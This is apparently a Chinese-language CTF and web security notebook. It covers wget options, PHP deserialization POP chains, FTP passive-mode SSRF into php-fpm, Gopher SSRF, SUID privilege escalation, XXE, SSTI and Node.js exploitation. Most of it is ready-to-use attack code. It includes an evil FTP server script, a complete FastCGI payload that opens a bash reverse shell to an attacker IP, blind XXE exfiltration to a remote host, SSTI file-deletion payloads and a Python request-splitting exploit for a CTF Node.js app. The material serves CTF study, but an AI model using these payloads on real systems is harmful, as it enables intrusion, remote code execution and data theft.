--limit-rate=RATE限制下载速率为 RATE。
--no-dns-cache关闭 DNS 查寻缓存。
--restrict-file-names=OS限定文件名中的字符为 OS 允许的字符。
--ignore-case匹配文件/目录时忽略大小写。
-4, --inet4-only仅连接至 IPv4 地址。
-6, --inet6-only仅连接至 IPv6 地址。
--prefer-family=FAMILY首先连接至指定协议的地址FAMILY 为 IPv6,IPv4 或是 none。
--user=USER将 ftp 和 http 的用户名均设置为 USER。
--password=PASS将 ftp 和 http 的密码均设置为 PASS。
--ask-password提示输入密码。
--no-iri关闭 IRI 支持。
--local-encoding=ENCIRI (国际化资源标识符) 使用 ENC 作为本地编码。
--remote-encoding=ENC使用 ENC 作为默认远程编码。
--unlinkremove file before clobber.

目录:

参数功能
-nd, --no-directories不创建目录。
-x, --force-directories强制创建目录。
-nH, --no-host-directories不要创建主目录。
--protocol-directories在目录中使用协议名称。
-P, --directory-prefix=PREFIX以 PREFIX/... 保存文件
--cut-dirs=NUMBER忽略远程目录中 NUMBER 个目录层。

HTTP 选项:

参数功能
--http-user=USER设置 http 用户名为 USER。
--http-password=PASS设置 http 密码为 PASS。
--no-cache不在服务器上缓存数据。
--default-page=NAME改变默认页(默认页通常是“index.html”)。
-E, --adjust-extension以合适的扩展名保存 HTML/CSS 文档。
--ignore-length忽略头部的‘Content-Length’区域。
--header=STRING在头部插入 STRING。
--max-redirect每页所允许的最大重定向。
--proxy-user=USER使用 USER 作为代理用户名。
--proxy-password=PASS使用 PASS 作为代理密码。
--referer=URL在 HTTP 请求头包含‘Referer: URL’。
--save-headers将 HTTP 头保存至文件。
-U, --user-agent=AGENT标识为 AGENT 而不是 Wget/VERSION。
--no-http-keep-alive禁用 HTTP keep-alive (永久连接)。
--no-cookies不使用 cookies。
--load-cookies=FILE会话开始前从 FILE 中载入 cookies。
--save-cookies=FILE会话结束后保存 cookies 至 FILE。
--keep-session-cookies载入并保存会话 (非永久) cookies。
--post-data=STRING使用 POST 方式;把 STRING 作为数据发送。
--post-file=FILE使用 POST 方式;发送 FILE 内容。
--method=HTTPMethoduse method "HTTPMethod" in the header.
--body-data=STRINGSend STRING as data. --method MUST be set.
--body-file=FILESend contents of FILE. --method MUST be set.
--content-disposition当选中本地文件名时允许 Content-Disposition 头部 (尚在实验)。
--content-on-erroroutput the received content on server errors.
--auth-no-challenge发送不含服务器询问的首次等待的基本 HTTP 验证信息。

HTTPS (SSL/TLS) 选项:

参数功能
--secure-protocol=PRchoose secure protocol, one of auto, SSLv2,SSLv3, TLSv1 and PFS.
--https-onlyonly follow secure HTTPS links
--no-check-certificate不要验证服务器的证书。
--certificate=FILE客户端证书文件。
--certificate-type=TYPE客户端证书类型,PEM 或 DER。
--private-key=FILE私钥文件。
--private-key-type=TYPE私钥文件类型,PEM 或 DER。
--ca-certificate=FILE带有一组 CA 认证的文件。
--ca-directory=DIR保存 CA 认证的哈希列表的目录。
--random-file=FILE带有生成 SSL PRNG 的随机数据的文件。
--egd-file=FILE用于命名带有随机数据的 EGD 套接字的文件。

FTP 选项:

参数功能
--ftp-user=USER设置 ftp 用户名为 USER。
--ftp-password=PASS设置 ftp 密码为 PASS。
--no-remove-listing不要删除‘.listing’文件。
--no-glob不在 FTP 文件名中使用通配符展开。
--no-passive-ftp禁用“passive”传输模式。
--preserve-permissions保留远程文件的权限。
--retr-symlinks递归目录时,获取链接的文件 (而非目录)。

WARC 选项:

参数功能
--warc-file=FILENAMEsave request/response data to a .warc.gz file.
--warc-header=STRINGinsert STRING into the warcinfo record.
--warc-max-size=NUMBERset maximum size of WARC files to NUMBER.
--warc-cdxwrite CDX index files.
--warc-dedup=FILENAMEdo not store records listed in this CDX file.
--no-warc-compressiondo not compress WARC files with GZIP.
--no-warc-digestsdo not calculate SHA1 digests.
--no-warc-keep-logdo not store the log file in a WARC record.
--warc-tempdir=DIRECTORYlocation for temporary files created by the WARC writer.

递归下载:

参数功能
-r, --recursive指定递归下载。
-l, --level=NUMBER最大递归深度 (inf 或 0 代表无限制,即全部下载)。
--delete-after下载完成后删除本地文件。
-k, --convert-links让下载得到的 HTML 或 CSS 中的链接指向本地文件。
--backups=Nbefore writing file X, rotate up to N backup files.
-K, --backup-converted在转换文件 X 前先将它备份为 X.orig。
-m, --mirror-N -r -l inf --no-remove-listing 的缩写形式。
-p, --page-requisites下载所有用于显示 HTML 页面的图片之类的元素。
--strict-comments用严格方式 (SGML) 处理 HTML 注释。

递归接受/拒绝:

参数功能
-A, --accept=LIST逗号分隔的可接受的扩展名列表。
-R, --reject=LIST逗号分隔的要拒绝的扩展名列表。
--accept-regex=REGEXregex matching accepted URLs.
--reject-regex=REGEXregex matching rejected URLs.
--regex-type=TYPEregex type (posix).
-D, --domains=LIST逗号分隔的可接受的域列表。
--exclude-domains=LIST逗号分隔的要拒绝的域列表。
--follow-ftp跟踪 HTML 文档中的 FTP 链接。
--follow-tags=LIST逗号分隔的跟踪的 HTML 标识列表。
--ignore-tags=LIST逗号分隔的忽略的 HTML 标识列表。
-H, --span-hosts递归时转向外部主机。
-L, --relative只跟踪有关系的链接。
-I, --include-directories=LIST允许目录的列表。
--trust-server-namesuse the name specified by the redirection url last component.
-X, --exclude-directories=LIST排除目录的列表。
-np, --no-parent不追溯至父目录。

还可以利用wget进行一些命令外带

-bash: wget: 未找到命令_利用命令注入外带数据的一些姿势_weixin_39696665的博客-CSDN博客

eaaasyphp

FTP的被动模式打php-fpm

php

php
<?php class Check { public static $str1 = false; public static $str2 = false; } class Esle { public function __wakeup() { Check::$str1 = true; } } class Hint { public function __wakeup(){ $this->hint = "no hint"; } public function __destruct(){ if(!$this->hint){ $this->hint = "phpinfo"; ($this->hint)(); } } } class Bunny { public function __toString() { if (Check::$str2) { if(!$this->data){ $this->data = $_REQUEST['data']; } file_put_contents($this->filename, $this->data); } else { throw new Error("Error"); } } } class Welcome { public function __invoke() { Check::$str2 = true; return "Welcome" . $this->username; } } class Bypass { public function __destruct() { if (Check::$str1) { ($this->str4)(); } else { throw new Error("Error"); } } } if (isset($_GET['code'])) { unserialize($_GET['code']); } else { highlight_file(__FILE__); }

这里有file_put_contents,文件名和内容都可控,可以试试写马,但是这里做了权限控制,写不了

然后看到有hint类,里面能访问phpinfo尝试去反序列化执行这个类,绕过wakeup我们采用常用的修改方式

txt

txt
O:4:"Hint":0:{}=>O:4:"Hint":1:{}

发现并没有执行,因为wakeup的绕过在高版本被修复了,这里官方给了一个很有意思的绕过https://bugs.php.net/bug.php?id=81151

将O改成C就能成功绕过,访问phpinfo,改成负数好像也可以

除此之外还可以利用bypass类来访问phpinfo

php

php
class Bypass { public function __construct() { $this->test = new Esle(); $this->str4 = 'phpinfo'; } } $a = new Bypass(); echo serialize($a);

image-20220513124945406

image-20220513124945406

在phpinfo里发现

image-20220513125309445

image-20220513125309445

那应该就是利用ftp(文件传输协议)的被动模式打php-fpm9000端口了

FTP的被动模式打php-fpm

FTP 协议的被动模式:客户端试图从FTP服务器上读取/写入一个文件,服务器会通知客户端将文件的内容读取到一个指定的IP和端口上,我们可以指定到127.0.0.1:9000,这样就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包,从而执行代码,造成SSRF

原理:

image-20220513131104286

image-20220513131104286

这里要先在vps上搭一个恶意的ftp服务

python

python
# evil_ftp.py import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 5002)) s.listen(1) conn, addr = s.accept() conn.send(b'220 welcome\n') #Service ready for new user. #Client send anonymous username #USER anonymous conn.send(b'331 Please specify the password.\n') #User name okay, need password. #Client send anonymous password. #PASS anonymous conn.send(b'230 Login successful.\n') #User logged in, proceed. Logged out if appropriate. #TYPE I conn.send(b'200 Switching to Binary mode.\n') #Size / conn.send(b'550 Could not get the file size.\n') #EPSV (1) conn.send(b'150 ok\n') #PASV conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2) conn.send(b'150 Permission denied.\n') #QUIT conn.send(b'221 Goodbye.\n') conn.close()

然后利用gopherus生成打fastcgi的payload

image-20220513135948923

image-20220513135948923

我们只要9000/_后边的部分

最后就是构造pop链调用file_put_contents

这里有几个魔术方法

txt
__wakeup():当调用unserialize时触发 __toString():当类被当作字符串时调用 __invoke():当把类当作函数处理时调用

pop链

php

php
class Check { public static $str1 = ture; public static $str2 = 'phpinfo'; } class Esle { public function __wakeup() { Check::$str1 = true; } } class Hint { public function __wakeup(){ $this->hint = "no hint"; } public function __destruct(){ if(!$this->hint){ $this->hint = "phpinfo"; ($this->hint)(); } } } class Bunny { public function __construct(){ $this->filename ='ftp://aaa@ip:5002/123';#这里的端口号要和ftp的服务里的端口号一样 } public function __toString(): string { if (Check::$str2) { if(!$this->data){ $this->data = $_REQUEST['data']; } file_put_contents($this->filename, $this->data); } else { throw new Error("Error"); } return '1'; } } class Welcome { public function __construct(){ $this->username = new Bunny(); } public function __invoke(): string { Check::$str2 = true; return "Welcome" . $this->username; } } class Bypass { public function __construct() { $this -> test = new Esle(); $this ->str4 = new Welcome(); } public function __destruct() { if (Check::$str1) { ($this->str4)(); } else { throw new Error("Error"); } } } $a = new Bypass(); echo urlencode(serialize($a));

最终构造的payload为

txt
code=O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A4%3A%22test%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A33%3A%22ftp%3A%2F%2Faaa%40117.XX.XXX.XXX%3A5002%2F123%22%3B%7D%7D%7D&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/117.XX.XXX.XXX/5001%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

image-20220513135416159

Gopher协议

协议简介

gopher 协议是一个在http 协议诞生前用来访问Internet 资源的协议可以理解为http协议的前身或简化版,虽然很古老但现在很多库还支持gopher 协议而且gopher 协议功能很强大。 它可以实现多个数据包整合发送,然后gopher 服务器将多个数据包捆绑着发送到客户端,这就是它的菜单响应。比如使用一条gopher 协议的curl 命令就能操作mysql 数据库或完成对redis 的攻击等等。 gopher 协议使用tcp 可靠连接。

gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。

协议格式

none
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
  • gopher的默认端口是70
  • 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
  • <gopher-path>其中<gopher-path>格式可以是如下其中的一种</gopher-path>,当然,这部分也可以省略
none
<gophertype><selector> <gophertype><selector>%09<search> <gophertype><selector>%09<search>%09<gopher+_string>

整个<gopher-path>部分可以省略,这时候\也可以省略<gophertype>为默认的1。 <gophertype>是一个单字符用来表示url 资源的类型,在常用的安全测试中发现不管这个字符是什么都不影响,只要有就行了。 <selector>个人理解这个是包的内容,为了避免一些特殊符号需要进行url 编码,但如果直接把wireshark 中ascii 编码的数据直接进行url 编码然后丢到gopher 协议里跑会出错,得在wireshark 里先换成hex 编码的原始数据后再每两个字符的加上%,通过对比发现直接url 编码的话会少了%0d回车字符。 <search>用于向gopher 搜索引擎提交搜索数据,和<selector>之间用%09隔开。 <gopher+_string>是获取gopher+ 项所需的信息,gopher+ 是gopher 协议的升级版。

先试一下

vps上监听5001端口,然后在另一台上利用gopher发送请求

image-20220426162607969

发现虽然发送的请求是abcd但是接收的只有bcd

这是因为用一个单字符表示了<gophertype>部分

构造get请求

网页代码为

none
<?php echo "Hello ".$_REQUEST["name"]."\n" ?>

get的请求方式就是

none
curl gopher://ip:80/_GET%20/ssrf/test/test.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20ip%0d%0A

image-20220426163357450

image-20220426163357450

构造post请求

none

none
curl gopher://ip:80/_POST%20/ssrf/test/test.php%20HTTP/1.1%0d%0AHost:ip%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=Margin%0d%0A

与get不同的地方就是要加上Content-Type和Content-Length

image-20220426163600192

image-20220426163600192

Gopher与get shell

首先准备一个有ssrf漏洞的代码

image-20220426164049486

先试一下

image-20220427142628212

那我们能不能用这个代码来读到我们test.php里的内容呢

none
curl http://ip/ssrf/test/shell.php?url=gopher://ip:80/_GET%20/ssrf/test/test.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20ip%0d%0A

构造这样的payload,但是发现并没有回显出test.php里的内容

image-20220427142655184

这里是因为在PHP在接收到参数后会做一次URL的解码,%20等字符已经被转码为空格。所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,就导致了现在的情况,所以我们要进行二次URL编码。

none
curl http://ip/ssrf/test/shell.php?url=gopher%3A%2F%2Fip%3A80%2F_GET%2520%2Fssrf%2Ftest%2Ftest.php%253fname%3DMargin%2520HTTP%2F1.1%250d%250AHost%3A%2520ip%250d%250A

image-20220427142748085

成功利用

剩下的部分搭环境比较麻烦,而且还有的涉及到Java的框架了,不想搭了(瘫,直接贴链接了

https://xz.aliyun.com/t/6993

Gopher协议在SSRF漏洞中的深入研究(附视频讲解) - 知乎 (zhihu.com)

11.linux提权

1.SUID提权

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

已知的可用来提权的linux可行性的文件列表如下:

  • Nmap
  • Vim
  • find
  • Bash
  • More
  • Less
  • Nano
  • cp

以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。

java
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \;

12.XXE

xml
标准payload: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE any[ //any表示任何根元素 <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <qwe><ctfshow>&f;</ctfshow></qwe> php伪协议读取文件: <?xml version="1.0"?> <!DOCTYPE any [ <!ENTITY file SYSTEM "php://filter/read/convert.base64-encode/resource=flag.txt"> ]> <user> <username>&file;</username> <password>pass</password> </user> 命令执行: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE any[ <!ENTITY file SYSTEM "except://whoami"> <!ENTITY file SYSTEM "except://curl$IFS'172.16.1.233:2233/backdoor.php'"> ]> <qwe><ctfshow>START_&file;_END</ctfshow></qwe> ssrf: <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >]> <foo> &xxe; </foo> ddos:如果解析过程变的非常缓慢,则表明测试成功,即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。 <!DOCTYPE data [<!ELEMENT data (#ANY)> <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">]> <data> &a2; </data> Billion Laughs 攻击——一个经典的Dos攻击payload: <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">...... <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]> <lolz> &lol9; </lolz> Blind XXE:: <?xml version="1.0"?> <!DOCTYPE ANY[<!ENTITY % file SYSTEM "file:///C:/1.txt"> <!ENTITY % remote SYSTEM "http://remotevps/evil.xml"> %remote;%all;]> <root> &send; </root> evil.xml: <!ENTITY % all "<!ENTITY send SYSTEM 'http://remotevps/1.php? file=%file;'> xxe bypass base64编码绕过: <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]> <foo/>

1. XML注入XXE注入

xml
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE hack [ <!ENTITY admin SYSTEM "file:///flag"> //这一行的admin要和下面的admin同名,不然找不到分支xmlhuibaocuo ]> <user> <username>&admin;</username> //注意,这一行要加&; <password>password</password> </user>

第三行的payload可以换

php
file:///proc/net/arp 读取内网可用主机 arp http://ip (测内网)

13.SSTI

ssti2

fuzz

php
${{<%[%'"}}%\ {{request.__init__.__globals__['__builtins__'].open('/flag').read()}

师从portswigger

template-decision-tree

ERB(ruby)

1.在ERB文档中,语法<%= someExpression %>用于计算表达式并在页面上呈现结果。

使用ERB模板语法创建包含数学运算的测试有效负载,例如:

<%= 7*7 %>

从Ruby文档中,可以发现system()方法,它可以用于执行任意操作系统命令。

构造一个有效负载来删除卡洛斯的文件,如下所示:

<%= system("rm /home/carlos/morale.txt") %>

Tornado模板

注意闭合前面的数据

{% import os %} {{os.system('rm /home/carlos/morale.txt')

Freemarker文档

转到文档的“内置参考”部分,找到new()的条目。本文进一步描述了new()如何成为一个安全问题,因为它可以用于创建实现TemplateModel接口的任意Java对象。

TemplateModel类加载JavaDoc,并查看“所有已知实现类”列表。

请注意,有一个名为Execute的类,它可用于执行任意shell命令

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }

Handlebars服务器端模板注入

Modify this exploit so that it calls require("child_process").exec("rm /home/carlos/morale.txt") as follows:

wrtz{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}

Django框架

将其中一个模板表达式更改为无效的内容,例如模糊字符串${{<%[%'"}}%\,然后保存模板。输出中的错误消息提示正在使用Django框架。 研究Django文档并注意到内置的模板标签debug可以被调用来显示调试信息。

在模板中,删除无效语法并输入以下语句以调用debug内置:

php
{% debug %}

保存模板。输出将包含您可以从该模板中访问的对象和属性的列表。重要的是,请注意您可以访问settings对象。 研究Django文档中的settings对象,注意它包含一个SECRET_KEY属性,如果攻击者知道该属性,则会产生危险的安全隐患。 在模板中,删除{% debug %}语句并输入表达式

php
{{settings.SECRET_KEY}}

保存模板以输出框架的密钥。

JavaDoc

Object类加载JavaDoc,以查找应该在所有对象上可用的方法。确认您可以使用${object.getClass()}对象执行product

浏览文档以找到一系列方法调用,这些方法调用通过静态方法授予对类的访问权限,从而允许您读取文件,例如:

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

在其中一个模板中输入此有效负载并保存。输出将包含十进制ASCII码位形式的文件内容。

14.nodejs

1.1 nodejs的简单介绍

简单的说 Node.js 就是运行在服务端的 JavaScript。 Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。 Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。

nodejs语法学习

1.2 nodejs语言的缺点

1.2.1 大小写特性

toUpperCase() toLowerCase()

对于toUpperCase(): 字符"ı""ſ" 经过toUpperCase处理后结果为 "I""S" 对于toLowerCase(): 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

1.2.2 弱类型比较

大小比较

js
console.log(1=='1'); //true console.log(1>'2'); //false console.log('1'<'2'); //true console.log(111>'3'); //true console.log('111'>'3'); //false console.log('asd'>1); //false

总结:数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是false

数组的比较:

js
console.log([]==[]); //false console.log([]>[]); //false console.log([6,2]>[5]); //true console.log([100,2]<'test'); //true console.log([1,2]<'2'); //true console.log([11,16]<"10"); //false

总结:空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较

还有一些比较特别的相等:

js
console.log(null==undefined) // 输出:true console.log(null===undefined) // 输出:false console.log(NaN==NaN) // 输出:false console.log(NaN===NaN) // 输出:false

变量拼接

js
console.log(5+[6,6]); //56,3 console.log("5"+6); //56 console.log("5"+[6,6]); //56,6 console.log("5"+["6","6"]); //56,6

1.2.3 MD5的绕过

js
a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

a[x]=1&b[x]=2

数组会被解析成[object Object]

js
a={'x':'1'} b={'x':'2'} console.log(a+"flag{xxx}") console.log(b+"flag{xxx}") a=[1] b=[2] console.log(a+"flag{xxx}") console.log(b+"flag{xxx}")

1.2.4 编码绕过

16进制编码

js
console.log("a"==="\x61"); // true

unicode编码

js
console.log("\u0061"==="a"); // true

base编码

js
eval(Buffer.from('Y29uc29sZS5sb2coImhhaGFoYWhhIik7','base64').toString())

1.3 nodejs危险函数的利用

1.3.1 nodejs危险函数-命令执行

exec()

js
require('child_process').exec('open /System/Applications/Calculator.app');

eval()

js
console.log(eval("document.cookie")); //执行document.cookie console.log("document.cookie"); //输出document.cookie

1.3.2 nodejs危险函数-文件读写

readFileSync()

js
require('fs').readFile('/etc/passwd', 'utf-8', (err, data) => { if (err) throw err; console.log(data); });

readFile()

js
require('fs').readFileSync('/etc/passwd','utf-8')

writeFileSync()

js
require('fs').writeFileSync('input.txt','sss');

writeFile()

js
require('fs').writeFile('input.txt','test',(err)=>{})

1.3.3 nodejs危险函数-RCE bypass

bypass

原型:

js
require("child_process").execSync('cat flag.txt')

字符拼接:

js
require("child_process")['exe'%2b'cSync']('cat flag.txt') //(%2b就是+的url编码) require('child_process')["exe".concat("cSync")]("open /System/Applications/Calculator.app/")

编码绕过:

js
require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat flag.txt') require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat fl001g.txt') eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwLycpOw==','base64').toString()) //弹计算器

模板拼接:

js
require("child_process")[`${`${`exe`}cSync`}`]('open /System/Applications/Calculator.app/'

其他函数:

js
require("child_process").exec("sleep 3"); require("child_process").execSync("sleep 3"); require("child_process").execFile("/bin/sleep",["3"]); *//调用某个可执行文件,在第二个参数传args* require("child_process").spawn('sleep', ['3']); require("child_process").spawnSync('sleep', ['3']); require("child_process").execFileSync('sleep', ['3']);

1.4 nodejs中的ssrf

1.4.1 通过拆分请求实现的ssrf攻击

原理

虽然用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符。相反,这些字符被截断为其JavaScript表示的最低字节

js
> v = "/caf\u{E9}\u{01F436}" '/café🐶' > Buffer.from(v,'latin1').toString('latin1') '/café=6'

Crlf HTTP头注入:

js
> require('http').get('http://example.com/\r\n/test')._header 'GET //test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n'

通过crlf结合ssrf利用

题目连接:

[https://buuoj.cn/challenges#[GYCTF2020]Node%20Game](https://buuoj.cn/challenges#[GYCTF2020]Node Game)

源码:

js
var express = require('express'); var app = express(); var fs = require('fs'); var path = require('path'); // 处理文件路径 var http = require('http'); var pug = require(`pug`); // 模板渲染 var morgan = require('morgan'); // 日志 const multer = require('multer'); // 用于处理multipart/form-data类型的表单数据,实现上传功能 // 将上传的文件存储在./dist[自动创建]返回一个名为file的文件数组 app.use(multer({dest: './dist'}).array('file')); // 使用简化版日志 app.use(morgan('short')); // 静态文件路由 app.use("/uploads", express.static(path.join(__dirname, '/uploads'))) app.use("/template", express.static(path.join(__dirname, '/template'))) app.get('/', function (req, res) { // GET方法获取action参数 var action = req.query.action ? req.query.action : "index"; // action中不能包含/ & \ if (action.includes("/") || action.includes("\\")) { res.send("Errrrr, You have been Blocked"); } // 将/template/[action].pug渲染成html输出到根目录 file = path.join(__dirname + '/template/' + action + '.pug'); var html = pug.renderFile(file); res.send(html); }); app.post('/file_upload', function (req, res) { var ip = req.connection.remoteAddress; // remoteAddress无法伪造,因为TCP有三次握手,伪造源IP会导致无法完成TCP连接 var obj = {msg: '',} // 请求必须来自localhost if (!ip.includes('127.0.0.1')) { obj.msg = "only admin's ip can use it" res.send(JSON.stringify(obj)); return } fs.readFile(req.files[0].path, function (err, data) { if (err) { obj.msg = 'upload failed'; res.send(JSON.stringify(obj)); } else { // 文件路径为/uploads/[mimetype]/filename,mimetype可以进行目录穿越实现将文件存储至/template并利用action渲染到界面 var file_path = '/uploads/' + req.files[0].mimetype + "/"; var file_name = req.files[0].originalname var dir_file = __dirname + file_path + file_name if (!fs.existsSync(__dirname + file_path)) { try { fs.mkdirSync(__dirname + file_path) } catch (error) { obj.msg = "file type error"; res.send(JSON.stringify(obj)); return } } try { fs.writeFileSync(dir_file, data) obj = {msg: 'upload success', filename: file_path + file_name} } catch (error) { obj.msg = 'upload failed'; } res.send(JSON.stringify(obj)); } }) }) // 查看题目源码 app.get('/source', function (req, res) { res.sendFile(path.join(__dirname + '/template/source.txt')); }); app.get('/core', function (req, res) { var q = req.query.q; var resp = ""; if (q) { var url = 'http://localhost:8081/source?' + q console.log(url) // 对url字符进行waf var trigger = blacklist(url); if (trigger === true) { res.send("error occurs!"); } else { try { // node对/source发出请求,此处可以利用字符破坏进行切分攻击访问/file_upload路由(❗️此请求发出者为localhost主机),实现对remoteAddress的绕过 http.get(url, function (resp) { resp.setEncoding('utf8'); resp.on('error', function (err) { if (err.code === "ECONNRESET") { console.log("Timeout occurs"); } }); // 返回结果输出到/core resp.on('data', function (chunk) { try { resps = chunk.toString(); res.send(resps); } catch (e) { res.send(e.message); } }).on('error', (e) => { res.send(e.message); }); }); } catch (error) { console.log(error); } } } else { res.send("search param 'q' missing!"); } }) // 关键字waf 利用字符串拼接实现绕过 function blacklist(url) { var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"]; var arrayLen = evilwords.length; for (var i = 0; i < arrayLen; i++) { const trigger = url.includes(evilwords[i]); if (trigger === true) { return true } } } var server = app.listen(8081, function () { var host = server.address().address var port = server.address().port console.log("Example app listening at http://%s:%s", host, port) })

exp:

python
import requests payload = """ HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive POST /file_upload HTTP/1.1 Host: 127.0.0.1 Content-Length: {} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZUlQgK81vgN7OB8A {}""".replace('\n', '\r\n') body = """------WebKitFormBoundaryZUlQgK81vgN7OB8A Content-Disposition: form-data; name="file"; filename="lethe.pug" Content-Type: ../template -var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()") -return x ------WebKitFormBoundaryZUlQgK81vgN7OB8A-- """.replace('\n', '\r\n') payload = payload.format(len(body), body) \ .replace('+', '\u012b') \ .replace(' ', '\u0120') \ .replace('\r\n', '\u010d\u010a') \ .replace('"', '\u0122') \ .replace("'", '\u0a27') \ .replace('[', '\u015b') \ .replace(']', '\u015d') \ + 'GET' + '\u0120' + '/' requests.get('http://ec05f88c-b4d9-4408-bdc5-56e251328bb1.node4.buuoj.cn:81/core?q=' + payload) print(requests.get('http://ec05f88c-b4d9-4408-bdc5-56e251328bb1.node4.buuoj.cn:81/?action=lethe').text)

https://xz.aliyun.com/t/2894#toc-2

2 nodejs原型链污染

2.1 prototype原型

简介:

对于使用过基于类的语言 (如 Java 或 C++) 的开发者们来说,JavaScript 实在是有些令人困惑 —— JavaScript 是动态的,本身不提供一个 class 的实现。即便是在 ES2015/ES6 中引入了 class 关键字,但那也只是语法糖,JavaScript 仍然是基于原型的。

当谈到继承时,JavaScript 只有一种结构:对象。每个实例对象(object)都有一个私有属性(称之为 proto )指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(proto),层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

几乎所有 JavaScript 中的对象都是位于原型链顶端的 Object 的实例。

